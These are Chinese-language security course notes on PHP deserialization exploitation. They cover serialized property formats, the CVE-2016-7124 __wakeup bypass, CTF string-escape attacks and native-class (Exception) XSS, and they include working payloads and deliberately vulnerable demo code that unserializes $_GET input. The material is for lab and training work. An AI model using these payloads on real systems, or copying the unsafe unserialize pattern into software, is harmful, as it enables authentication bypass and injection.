第61天:漏洞利用-PHP反序列化&原生类TIPS&字符串逃逸&CVE绕过漏洞&属性类型特征

不同属性的演示

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header("Content-type: text/html; charset=utf-8");
//public private protected说明
class test{
public $name="xiaodi";
private $age="29";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
var_dump(unserialize($a));
?>

image-20250819205111859

1
2
3
4
5
6
7
8
9
10
11
12
1、对象变量属性:
public(公共的) 在本类内部、外部类、子类都可以访问
protect(受保护的) 只有本类或子类或父类中可以访问
private(私人的) 只有本类内部可以使用

2、序列化数据显示:
public
属性序列化的时候格式是正常成员名
private
属性序列化的时候格式是%00 类名 %00 成员名
protect
属性序列化的时候格式是%00*%00 成员名

PHP - 绕过漏洞 - CVE & 字符串逃逸

CVE-2016-7124(__wakeup 绕过)

  • 漏洞编号:CVE-2016-7124
  • 影响版本:PHP 5<5.6.25; PHP 7<7.0.10
  • 漏洞危害:如存在__wakeup 方法,调用 unserilize () 方法前则先调用__wakeup 方法 (即在反序列化恢复对象之前调用该方法),但序列化字符串中表示对象属性个数的值大于真实属性个数时会跳过__wakeup 执行

本地demo演示—cve.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
public $sex;
public $name;
public $age;

public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}

public function __wakeup(){
echo "__wakeup()被调用<br>";
}

public function __destruct(){
echo "__destruct()被调用<br>";
}

}
unserialize($_GET['x']);
?>

image-20250819210844769

使用生成的pop链:

1
O:4:"Test":3:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

image-20250819210920988

直接传参:

1
2
还是会调用__wakeup魔术方法
O:4:"Test":4:{s:3:"sex";N;s:4:"name";N;s:3:"age";N;}

image-20250819211006820

修改个数以后,就绕过__wakeup魔术方法。

CTF 案例

image-20250819211253308

image-20250819211246765

image-20250819211312559

下载备份文件:

image-20250819211407538

image-20250819211500767

构造pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'flag.php';
error_reporting(0);

class Name{
private $username = 'admin';
private $password = '100';
}
$a=new Name();
echo urlencode(serialize($a));

?>

payload:
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

image-20250819212003069

同样是生成之后,将个数改大就行

字符串逃逸

字符串变多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
class user
{
public $username;
public $password;
public $isVIP;

public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}

function login(){
$isVip=$this->isVIP;


if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}
}


}

function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}

//你必须输入admin
//


//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//$p="xiaodi";

//$u='admin';
//$p='123456';

//无过滤序列化数据数据显示
//$obj = new user($u,$p);
//$obj = serialize($obj);
//echo $obj;
//echo "\n";
//无过滤反序列化数据数据显示
//var_dump(unserialize($obj));
//echo "\n";
//有过滤反序列化数据数据显示
//$obj1 = filter(serialize($obj));
//echo $obj1;
//var_dump(unserialize($obj1));

$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}

POP源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class user
{
public $username='admin';
public $password='123456';
public $isVIP='1';
public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 1;
}
}


function filter($obj) {
return preg_replace("/admin/","hacker",$obj);
}


//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
//$p="xiaodi";


$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';
$p='123456';
//$u='admin';
//$p='123456';

$obj = new user($u,$p);
//echo serialize($obj);
echo filter(serialize($obj));

?>
  • 当序列化对象中的某一变量的值改变时,其变量长度也需要发生相应改变,不然在反序列化过程中就会出错,导致无法反序列化。
  • 即如下情况,将 admin 替换为 hacker
1
2
3
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

第一个序列化数据正常反序列化时,s:5:”admin”, 识别五个字符后是正常的下一个变量,而第二个序列化数据在反序列化时 s:5:”hakcer” 只识别前五个字符,而后导致后续反序列化格式出现问题,从而反序列化失败。

image-20250819213720777

image-20250819213809248

分析一下得到源码:

1
就是要isvip赋值成admin

但是这里如果你直接进行更改之后,然后在赋值成admin的话,就会有问题:

image-20250819214404233

这里就会替换成hacker,所以就要用到字符串逃逸:

image-20250819214637608

image-20250819215016583

image-20250819215123927

payload

1
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

image-20250819215143495

字符串变少

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
class user
{
public $username;
public $password;
public $isVIP;

public function __construct($u, $p)
{
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}

function login(){
$isVip=$this->isVIP;
if($isVip==1){
echo 'flag is niubi';
}else{
echo 'fuck';
}

}
}

function filter($obj) {
return preg_replace("/admin/","hack",$obj);
}

//$obj = new user('admin','xiaodi');
//echo serialize($obj);
//$obj = filter(serialize($obj));
//echo $obj;
//var_dump(unserialize($obj));

$obj=$_GET['x'];
if(isset($obj)){
$o=unserialize($obj);
$o->login();
}else{
echo 'fuck';
}


pop源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}


//$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
//$p='";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';


$u='adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
$p=';s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}';

$a = new user($u,$p);
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

  1. 这里的设置和前面差不多,只不过这个是替换后字符变少了,上面的那个是变多。
  2. 前面那个我们是考虑使反序列化时少识别原本的值,从而使原本值中的序列化数据被正确解析,这里因为是字符变少了,所以我们考虑使反序列化时多识别一些原本属于正常序列化数据的字符,从而使得不进行替换的变量处的值

image-20250819215733934

1
2
3
可控字符串中需包含n个替换单位(如 10 个 "abc"),其序列化后的长度标识为len(原字符串)(即 10 个 "abc" 的总长度:10*3=30 → 序列化后为s:30:"abcabc...abc";)。
替换后,实际长度变为n * len(B) = 10*1=10,但序列化标识仍为 30,因此反序列化器会多读取30 - 10 = 20个字符(刚好等于 M=20)。
在可控字符串后拼接恶意字符串,最终反序列化时会将恶意字符串包含进来,实现结构逃逸。

image-20250819222610852

所以就写22个admin,让多余的22个字符逃逸。

image-20250819220538994

PHP - 原生类 Tips - 获取 & 利用 & 配合

原生类(Native class)是指在编程语言的核心库或标准库中提供的类,这些类是语言本身提供的,而不是由用户自定义的类。原生类通常包含语言内置的功能和特性,用于解决常见的编程任务和操作。

PHP原生类使用场景:在代码中没有看到魔术方法的情况下使用的

image-20250819223032016

php开启这个选项可以看到更多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
// '__destruct',
// '__toString',
// '__wakeup',
'__call',
// '__callStatic',
// '__get',
// '__set',
// '__isset',
// '__unset',
// '__invoke',
// '__set_state'
))) {
print $class . '::' . $method . "\n";
}
}
}

image-20250819223129739

开启之后:

image-20250819223228855

类似于java的JNDI注入

本地demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

highlight_file(__file__);
$a = unserialize($_GET['k']);
echo $a;


//原生类应用场景:
//利用是无看到的魔术方法利用的情况下使用的


//1、先看能触发的魔术方法
//2、没写魔术方法调用逻辑代码
//3、使用魔术方法的原生类去利用
//4、获取魔术方法的原生类(脚本生成 多少和当前环境的模块开关有关)
//5、利用魔术方法里面的内置的类 pop修改内置类 形成攻击

image-20250819223325814

pop

1
2
3
4
<?php
$a=new Exception("<script>alert('xiaodi')</script>");
echo urlencode(serialize($a));
?>

image-20250819223541748

image-20250819223520823